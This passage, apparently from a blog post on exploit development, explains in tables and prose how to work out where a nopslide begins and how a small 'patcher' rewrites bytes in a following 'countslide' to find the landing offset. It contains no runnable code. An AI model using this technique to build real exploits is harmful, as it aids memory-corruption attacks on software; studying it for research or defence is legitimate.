STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER><B><FONT FACE="Courier New">A<sub>avg</sub> + D<sub>max</sub></FONT></B></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 3px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New">D = -D<sub>max</sub></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=4 ALIGN=CENTER BGCOLOR="#CCFFCC"><FONT FACE="Courier New">Nopslide</FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER BGCOLOR="#FFFF99"><FONT FACE="Courier New">code</FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM BGCOLOR="#E6E6E6" SDNUM="1043;0;0,###############"><FONT FACE="Courier New">O = 2 * D<sub>max</sub></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-right: 3px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 3px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New">D = X</FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=BOTTOM BGCOLOR="#E6E6E6" SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=4 ALIGN=CENTER BGCOLOR="#CCFFCC"><FONT FACE="Courier New">Nopslide</FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER BGCOLOR="#FFFF99"><FONT FACE="Courier New">code</FONT></TD> <TD ALIGN=CENTER BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM BGCOLOR="#E6E6E6" SDNUM="1043;0;0,###############"><FONT FACE="Courier New">O = D<sub>max</sub> &#8211; X</FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-right: 3px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New">D = +D<sub>max</sub></FONT></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT BGCOLOR="#E6E6E6"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=4 ALIGN=CENTER BGCOLOR="#CCFFCC"><FONT FACE="Courier New">Nopslide</FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER BGCOLOR="#FFFF99"><FONT FACE="Courier New">code</FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM BGCOLOR="#E6E6E6" SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM BGCOLOR="#E6E6E6" SDNUM="1043;0;0,###############"><FONT FACE="Courier New">O = 0</FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-left: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT VALIGN=BOTTOM SDNUM="1043;0;0,###############"><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=6 ALIGN=CENTER><FONT FACE="Courier New">Return address</FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> <TR> <TD STYLE="border-bottom: 1px solid #000000; border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> <TD STYLE="border-bottom: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT><FONT FACE="Courier New"><BR></FONT></TD> </TR> </TBODY> </TABLE> </CODE></p>
<p>In this example, the actual deviation <strong>D</strong> from <strong>A<sub>avg</sub></strong> indicates where the exploit actually ends up jumping to. The base address of the <em>nopslide</em> <strong>A<sub>nop</sub></strong> plus the offset in the <em>nopslide</em> where execution starts <strong>O</strong> are equal to the return address <strong>A<sub>avg</sub> + D<sub>max</sub></strong>:<br />
<CODE><br />
                            A<sub>nop</sub> + O  ==  A<sub>avg</sub> + D<sub>max</sub><br />
&nbsp;<br />
</CODE><br />
Because <strong>A<sub>avg</sub></strong> and <strong>D<sub>max</sub></strong> are values we predict, we can calculate the base address <strong>A<sub>nop</sub></strong> of the <em>nopslide</em> if we can calculate <strong>O</strong>. And because we know the length of the <em>nopslide</em> is <strong>D<sub>max</sub> * 2</strong>, we can calculate the base address of the code that follows the <em>nopslide</em> <strong>A<sub>patcher</sub></strong> as well:<br />
<CODE><br />
                            A<sub>nop</sub> == A<sub>avg</sub> + D<sub>max</sub> &#8211; O<br />
                            A<sub>patcher</sub> == A<sub>avg</sub> + D<sub>max</sub> * 3 &#8211; O<br />
&nbsp;<br />
</CODE><br />
So, any address <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + X</strong> will be in the code that follows the <em>nopslide</em> at offset <strong>O + X</strong> (if that code is large enough). We can choose to overwrite a byte at that address to modify the code following the <em>nopslide</em>. Which byte of the code gets modified depends entirely on the value of <strong>O</strong>. This means that the value of <strong>O</strong> can directly influence what our code does and this is what we use to calculate the value of <strong>O</strong>.</p>
<p>A small piece of code which I will call the <em>patcher</em> of length <strong>P</strong> is put after the <em>nopslide</em> followed by a second <em>nopslide</em> of length <strong>D<sub>max</sub> * 2</strong> which I will call the <em>countslide</em>. When executed, the <em>patcher</em> overwrites a byte in the <em>countslide</em> at address <strong>A<sub>avg</sub> + D<sub>max</sub> * 3 + P</strong> (the <em>modification address</em>), which is always inside the <em>countslide</em>. Here&#8217;s an example:</p>
<p><CODE><TABLE FRAME=VOID CELLSPACING=0 COLS=21 RULES=NONE BORDER=0> <COLGROUP><COL WIDTH=23><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22><COL WIDTH=22></COLGROUP> <TBODY> <TR> <TD STYLE="border-top: 1px solid #000000; border-left: 1px solid #000000" WIDTH=23 HEIGHT=16 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-right: 1px solid #000000" WIDTH=22 ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=6 ALIGN=CENTER>A<sub>nop</sub> + D<sub>max</sub> * 2 + P</TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=2 ALIGN=CENTER>A<sub>nop</sub></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=4 ALIGN=CENTER>A<sub>nop</sub> + D<sub>max</sub> * 2</TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=6 ALIGN=CENTER>A<sub>nop</sub> + D<sub>max</sub> * 4 + P</TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=5 ALIGN=CENTER BGCOLOR="#CCFFCC"><FONT FACE="Courier New">Nopslide</FONT></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=3 ALIGN=CENTER BGCOLOR="#FFFF99">patcher</TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=5 ALIGN=CENTER BGCOLOR="#CCFFFF">countslide</TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><BR></TD> <TD ALIGN=LEFT BGCOLOR="#E6E6E6"><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=4 ALIGN=CENTER>A<sub>nop</sub> + O</TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" COLSPAN=8 ALIGN=CENTER>A<sub>nop</sub> + O + P + D<sub>max</sub> * 2</TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> </TR> <TR> <TD STYLE="border-left: 1px solid #000000" HEIGHT=17 ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 3px solid #000000" ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD ALIGN=LEFT><BR></TD> <TD STYLE="border-right: 1px solid #000000" ALIGN=LEFT><BR></TD> <TD STYLE="border-left: 1px solid 